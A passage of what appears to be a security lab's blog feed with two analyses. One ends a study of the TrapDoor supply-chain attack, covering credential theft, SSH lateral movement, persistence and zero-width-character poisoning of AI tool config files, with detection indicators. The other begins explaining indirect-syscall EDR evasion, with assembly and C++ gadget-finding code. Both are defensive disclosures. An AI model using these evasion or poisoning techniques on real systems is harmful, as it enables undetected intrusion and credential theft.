Hooks</td><td><code>pre-commit</code> / <code>post-merge</code> 钩子</td><td>代码提交或合并时</td></tr><tr><td>Shell Hooks</td><td><code>.bashrc</code> / <code>.zshrc</code> 修改</td><td>终端启动时</td></tr><tr><td>systemd</td><td>系统服务注册</td><td>系统开机时</td></tr><tr><td>cron</td><td>定时任务</td><td>周期性执行</td></tr><tr><td>SSH 传播</td><td>复用窃取 SSH 密钥</td><td>横向移动至相邻主机</td></tr></tbody></table>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"53-横向移动模型\">5.3 横向移动模型<a class=\"hash-link\" aria-label=\"5.3 横向移动模型的直接链接\" title=\"5.3 横向移动模型的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#53-%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E6%A8%A1%E5%9E%8B\">​</a></h3>\n<p><code>trap-core.js</code> 中集成了基于窃取 SSH 密钥的横向移动能力。攻击者利用 <code>~/.ssh/id_*</code> 私钥尝试连接已知主机列表，将受感染的开发机转换为入侵组织内部网络的初始跳板。该机制使攻击面从单一开发机扩展至整个组织内部网络。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"6-影响评估与威胁趋势\">6. 影响评估与威胁趋势<a class=\"hash-link\" aria-label=\"6. 影响评估与威胁趋势的直接链接\" title=\"6. 影响评估与威胁趋势的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#6-%E5%BD%B1%E5%93%8D%E8%AF%84%E4%BC%B0%E4%B8%8E%E5%A8%81%E8%83%81%E8%B6%8B%E5%8A%BF\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"61-受影响场景分级\">6.1 受影响场景分级<a class=\"hash-link\" aria-label=\"6.1 受影响场景分级的直接链接\" title=\"6.1 受影响场景分级的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#61-%E5%8F%97%E5%BD%B1%E5%93%8D%E5%9C%BA%E6%99%AF%E5%88%86%E7%BA%A7\">​</a></h3>\n<table><thead><tr><th>场景</th><th>风险等级</th><th>说明</th></tr></thead><tbody><tr><td>安装过恶意 npm 包的开发环境</td><td>极高</td><td>全面凭证窃取与持久化</td></tr><tr><td>导入过恶意 PyPI 包的 Python 项目</td><td>极高</td><td>远程载荷执行</td></tr><tr><td>编译过恶意 Crates.io 包的 Rust 项目</td><td>极高</td><td>编译期密钥库窃取</td></tr><tr><td>AI 配置文件被修改的项目</td><td>高</td><td>AI 工具配置污染</td></tr><tr><td>CI/CD 环境依赖恶意包</td><td>极高</td><td>构建服务器全面失陷</td></tr></tbody></table>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"62-攻击演进特征\">6.2 攻击演进特征<a class=\"hash-link\" aria-label=\"6.2 攻击演进特征的直接链接\" title=\"6.2 攻击演进特征的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#62-%E6%94%BB%E5%87%BB%E6%BC%94%E8%BF%9B%E7%89%B9%E5%BE%81\">​</a></h3>\n<p>TrapDoor 体现了供应链攻击的五个演进方向：</p>\n<ol>\n<li><strong>从广撒网到精准打击</strong>：不追求 typosquatting 下载量，伪装为特定领域专业工具定位高价值目标</li>\n<li><strong>从单一生态到跨平台协同</strong>：同时利用三个生态的差异化执行机制扩大覆盖</li>\n<li><strong>从一次性窃取到持久化驻留</strong>：通过 AI 配置文件、系统服务与定时任务建立多层驻留</li>\n<li><strong>从静默窃取到 AI 工具链投毒</strong>：零宽度字符注入与 AI 配置污染开辟了全新的攻击面</li>\n<li><strong>从简单外联到基础设施运营</strong>：攻击者维护完整的攻击框架文档，表现出组织化攻击能力</li>\n</ol>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"63-趋势预测\">6.3 趋势预测<a class=\"hash-link\" aria-label=\"6.3 趋势预测的直接链接\" title=\"6.3 趋势预测的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#63-%E8%B6%8B%E5%8A%BF%E9%A2%84%E6%B5%8B\">​</a></h3>\n<p>基于 TrapDoor 的技术特征，可预期以下趋势：AI 开发环境配置将成为供应链攻击的新焦点；Crypto 开发者持续成为高价值目标；构建时执行攻击（如 Rust <code>build.rs</code> 模式）将扩展至其他编译型语言；跨生态关联攻击的隐蔽性将持续提升。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"7-检测与防御策略\">7. 检测与防御策略<a class=\"hash-link\" aria-label=\"7. 检测与防御策略的直接链接\" title=\"7. 检测与�防御策略的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#7-%E6%A3%80%E6%B5%8B%E4%B8%8E%E9%98%B2%E5%BE%A1%E7%AD%96%E7%95%A5\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"71-即时检测指标\">7.1 即时检测指标<a class=\"hash-link\" aria-label=\"7.1 即时检测指标的直接链接\" title=\"7.1 即时检测指标的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#71-%E5%8D%B3%E6%97%B6%E6%A3%80%E6%B5%8B%E6%8C%87%E6%A0%87\">​</a></h3>\n<table><thead><tr><th>行为特征</th><th>检测方法</th></tr></thead><tbody><tr><td>npm 安装后 Node 进程异常执行大量文件扫描</td><td>监控安装时的子进程活动</td></tr><tr><td>向 <code>ddjidd564.github.io</code> 的 HTTP 请求</td><td>DNS/网络流量监控</td></tr><tr><td><code>gh auth token</code> 命令异常执行</td><td>命令行审计</td></tr><tr><td><code>~/.ssh/</code>、<code>~/.aws/</code> 目录批量读取</td><td>文件系统监控</td></tr><tr><td>GitHub Gist API 未授权上传请求</td><td>API 调用审计</td></tr><tr><td><code>node -e</code> 执行远程下载的 JavaScript</td><td>进程创建监控</td></tr></tbody></table>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"72-开发环境防护\">7.2 开发环境防护<a class=\"hash-link\" aria-label=\"7.2 开发环境防护的直接链接\" title=\"7.2 开发环境防护的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#72-%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E9%98%B2%E6%8A%A4\">​</a></h3>\n<ul>\n<li>锁定依赖版本：使用 <code>package-lock.json</code> / <code>Cargo.lock</code> / <code>poetry.lock</code> 避免自动升级</li>\n<li>禁用安装脚本：npm 配置 <code>ignore-scripts=true</code></li>\n<li>审查 AI 配置文件：检查 <code>.cursorrules</code> / <code>CLAUDE.md</code> 中的零宽度 Unicode 字符，可使用 <code>cat -v</code> 或 <code>hexdump -C</code> 检测</li>\n<li>凭证最小化：禁止本地开发环境存储长期有效的云凭证，使用短期临时凭证</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"73-组织级供应链安全建设\">7.3 组织级供应链安全建设<a class=\"hash-link\" aria-label=\"7.3 组织级供应链安全建设的直接链接\" title=\"7.3 组织级供应链安全建设的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#73-%E7%BB%84%E7%BB%87%E7%BA%A7%E4%BE%9B%E5%BA%94%E9%93%BE%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE\">​</a></h3>\n<ul>\n<li>实施依赖审查流水线，禁止直接从公共仓库安装未经审查的包</li>\n<li>将 <code>.cursorrules</code> 和 <code>CLAUDE.md</code> 纳入代码审查范围</li>\n<li>建立多生态关联分析能力：单一注册表视角无法发现跨平台关联攻击</li>\n<li>在 AI 工具配置中禁用自动执行外部命令</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"结论\">结论<a class=\"hash-link\" aria-label=\"结论的直接链接\" title=\"结论的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>TrapDoor 代表了供应链攻击从机会主义向定向化、组织化演进的重要里程碑。其跨生态系统协同执行、AI 开发环境投毒与多层持久化机制的三重结合，构建了当前公开文献中最复杂的供应链攻击模型之一。对防御方而言，单一生态的安全监控已不足以应对此类威胁，建立跨平台行为关联分析与 AI 工具链安全审计能力将成为供应链安全的关键防线。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] Socket Research Team. \"TrapDoor: Large-Scale Cross-Ecosystem Crypto-Stealer Targets npm, PyPI, and Crates.io.\" <a href=\"https://socket.dev/blog/trapdoor-crypto-stealer-npm-pypi-crates\" target=\"_blank\" rel=\"noopener noreferrer\">https://socket.dev/blog/trapdoor-crypto-stealer-npm-pypi-crates</a></p>\n<p>[2] CVE Program. \"CVE-2026-9082.\" <a href=\"https://www.cve.org/CVERecord?id=CVE-2026-9082\" target=\"_blank\" rel=\"noopener noreferrer\">https://www.cve.org/CVERecord?id=CVE-2026-9082</a></p>",
            "url": "https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/",
            "title": "TrapDoor 供应链攻击分析：跨生态系统加密货币窃取与 AI 定向注入技术",
            "summary": "针对 TrapDoor 跨生态系统供应链攻击的技术分析，涵盖 npm、PyPI、Crates.io 三类包管理器的协同攻击机制与 AI 开发环境定向注入手法。",
            "date_modified": "2026-05-25T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Research",
                "Disclosure"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>端点检测与响应（EDR）系统在过去三年中逐步建立了基于调用栈验证（Call Stack Validation）的检测体系，用于识别直接系统调用（Direct Syscalls）等恶意行为。间接系统调用（Indirect Syscalls）技术通过跳转到 <code>ntdll.dll</code> 中已有的 <code>syscall</code> 指令来执行系统调用，使 EDR 的调用栈验证机制完全失效——从 EDR 的检测视角来看，<code>syscall</code> 指令确实是从合法的 <code>ntdll.dll</code> 内存区域发起的。本文对间接系统调用的技术原理、与直接系统调用的差异、动态 SSN 解析方法及完整执行流程进行了系统分析，并从内核态验证、模块完整性检查及遥测完整性监控三个维度提出了相应的防御建议。</p>\n<p><strong>关键词</strong>：间接系统调用；EDR 绕过；调用栈验证；SSN 解析；Windows 安全</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>系统调用（System Call）是用户态程序请求内核服务的标准接口。在 Windows 平台上，系统调用通过 <code>syscall</code> 指令从用户态切换到内核态，由内核执行具体的系统服务。EDR 系统的用户态钩子通过在 <code>ntdll.dll</code> 的导出函数入口处插入跳转指令（<code>jmp</code> 或 <code>mov r10, rcx</code> + <code>jmp</code>），实现对敏感系统调用的监控。</p>\n<p>传统的直接系统调用（Direct Syscalls）技术通过在自己的二进制文件中直接执行 <code>syscall</code> 指令来绕过用户态钩子。然而，EDR 厂商通过在异常检测规则中加入调用栈验证——检查 <code>syscall</code> 指令执行时的返回地址是否在 <code>ntdll.dll</code> 范围内——使该技术在 2024 年后逐渐失效。</p>\n<p>间接系统调用（Indirect Syscalls）是这一攻防博弈的最新演进。其核心思想是不再在攻击者代码中执行 <code>syscall</code> 指令，而是跳转到 <code>ntdll.dll</code> 中已有的 <code>syscall</code> 指令来执行系统调用。这使得调用栈验证完全失效，因为从 EDR 的视角来看，<code>syscall</code> 指令确实是从合法的 <code>ntdll.dll</code> 内存区域发起的。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-技术背景\">2. 技术背景<a class=\"hash-link\" aria-label=\"2. 技术背景的直接链接\" title=\"2. 技术背景的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#2-%E6%8A%80%E6%9C%AF%E8%83%8C%E6%99%AF\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-系统调用的标准路径\">2.1 系统调用的标准路径<a class=\"hash-link\" aria-label=\"2.1 系统调用的标准路径的直接链接\" title=\"2.1 系统调用的标准路径的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#21-%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%9A%84%E6%A0%87%E5%87%86%E8%B7%AF%E5%BE%84\">​</a></h3>\n<p>在 Windows x64 平台上，一个正常的系统调用路径如下：</p>\n<div class=\"codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-text codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">应用程序 → kernel32.dll → ntdll.dll → syscall 指令 → 内核</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>以 <code>NtAllocateVirtualMemory</code> 为例，<code>ntdll.dll</code> 中对应的存根（stub）函数结构如下：</p>\n<div class=\"language-asm codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-asm codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">; ntdll.dll 中的 NtAllocateVirtualMemory</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">mov r10, rcx</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">mov eax, 18h        ; 系统服务编号（SSN）</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">syscall             ; 切换到内核态</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">ret</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>EDR 的用户态钩子通常将函数入口的前几个字节替换为跳转指令，将执行流重定向到 EDR 的检测模块。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-edr-调用栈验证机制\">2.2 EDR 调用栈验证机制<a class=\"hash-link\" aria-label=\"2.2 EDR 调用栈验证机制的直接链接\" title=\"2.2 EDR 调用栈验证机制的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#22-edr-%E8%B0%83%E7%94%A8%E6%A0%88%E9%AA%8C%E8%AF%81%E6%9C%BA%E5%88%B6\">​</a></h3>\n<p>调用栈验证是 EDR 用于检测直接系统调用的关键技术。其原理如下：当检测模块被调用时，回溯调用栈（Stack Walk），检查返回地址所属的内存模块。如果 <code>syscall</code> 指令的返回地址不在 <code>ntdll.dll</code> 范围内，则判定为可疑的直接系统调用行为。</p>\n<p>直接系统调用之所以被检测，根本原因在于 <code>syscall</code> 指令从攻击者二进制文件的内存区域执行，调用栈中会留下异常的返回地址记录。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-间接系统调用技术原理\">3. 间接系统调用技术原理<a class=\"hash-link\" aria-label=\"3. 间接系统调用技术原理的直接链接\" title=\"3. 间接系统调用技术原理的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#3-%E9%97%B4%E6%8E%A5%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E6%8A%80%E6%9C%AF%E5%8E%9F%E7%90%86\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-核心机制\">3.1 核心机制<a class=\"hash-link\" aria-label=\"3.1 核心机制的直接链接\" title=\"3.1 核心机制的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#31-%E6%A0%B8%E5%BF%83%E6%9C%BA%E5%88%B6\">​</a></h3>\n<p>间接系统调用的核心思想是：不再在攻击者代码中执行 <code>syscall</code> 指令，而是跳转到 <code>ntdll.dll</code> 中已有的 <code>syscall</code> 指令来执行系统调用。两种方式的对比：</p>\n<div class=\"language-asm codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-asm codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">; 直接系统调用 — EDR 可检测到异常的返回地址</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">mov r10, rcx</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">mov eax, 18h        ; SSN</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">syscall             ; 从攻击者二进制中执行 → EDR 告警</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">ret</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">; 间接系统调用 — EDR 看到返回地址在 ntdll.dll 范围内</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">mov r10, rcx</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">mov eax, 18h        ; SSN</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">jmp qword ptr [syscall_addr]  ; 跳转到 ntdll 内的 syscall 指令</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>从 EDR 的视角来看，间接系统调用的执行路径完全合法——<code>syscall</code> 指令从 <code>ntdll.dll</code> 的代码段执行，调用栈验证无法区分该调用是由正常程序逻辑还是由攻击者代码触发。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-syscall-gadget-定位\">3.2 syscall Gadget 定位<a class=\"hash-link\" aria-label=\"3.2 syscall Gadget 定位的直接链接\" title=\"3.2 syscall Gadget 定位的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#32-syscall-gadget-%E5%AE%9A%E4%BD%8D\">​</a></h3>\n<p>间接系统调用的关键在于在 <code>ntdll.dll</code> 中定位未被钩子篡改的 <code>syscall</code> 指令。定位方法如下：</p>\n<ol>\n<li>通过 <code>GetModuleHandleA</code> 获取 <code>ntdll.dll</code> 的基址</li>\n<li>遍历导出表定位目标系统调用函数的地址</li>\n<li>在函数字节码中扫描 <code>syscall</code> 指令的特征码 <code>0x0F 0x05</code></li>\n<li>返回该指令的地址作为跳转目标</li>\n</ol>\n<div class=\"language-cpp codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-cpp codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">UINT_PTR </span><span class=\"token function\" style=\"color:#d73a49\">find_syscall_gadget</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token keyword\" style=\"color:#00009f\">const</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">char</span><span class=\"token operator\" style=\"color:#393A34\">*</span><span class=\"token plain\"> func_name</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    HMODULE ntdll </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">GetModuleHandleA</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">\"ntdll.dll\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    FARPROC func_addr </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">GetProcAddress</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">ntdll</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> func_name</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    BYTE</span><span class=\"token operator\" style=\"color:#393A34\">*</span><span class=\"token plain\"> ptr </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">BYTE</span><span class=\"token operator\" style=\"color:#393A34\">*</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\">func_addr</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">for</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token keyword\" style=\"color:#00009f\">int</span><span class=\"token plain\"> i </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> i </span><span class=\"token operator\" style=\"color:#393A34\">&lt;</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">32</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> i</span><span class=\"token operator\" style=\"color:#393A34\">++</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">ptr</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">i</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">==</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0x0F</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">&amp;&amp;</span><span class=\"token plain\"> ptr</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">i </span><span class=\"token operator\" style=\"color:#393A34\">+</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">==</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0x05</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">UINT_PTR</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token operator\" style=\"color:#393A34\">&amp;</span><span class=\"token plain\">ptr</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">i</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"33-动态-ssn-解析\">3.3 动态 SSN 解析<a class=\"hash-link\" aria-label=\"3.3 动态 SSN 解析的直接链接\" title=\"3.3 动态 SSN 解析的直接链接\" href=\"https://www.ce.ac.cn/blog/indirect-syscall-edr-bypass-analysis/#33-%E5%8A%A8%E6%80%81-ssn-%E8%A7%A3%E6%9E%90\">​</a></h3>\n<p>系统服务编号（System Service Number, SSN）在不同 Windows 版本间存在差异，因此需要在运行时动态解析。SSN 通常存储在 <code>ntdll.dll</code> 导出函数入口偏移 +4 字节处。对于已被 EDR 钩子篡改的函数，需要使用以下方法推算 SSN：</p>\n<ul>\n<li><strong>Halo's Gate 算法</strong>：通过相邻的未被钩子篡改的函数来推算目标函数的 SSN。由于系统调用函数的 SSN 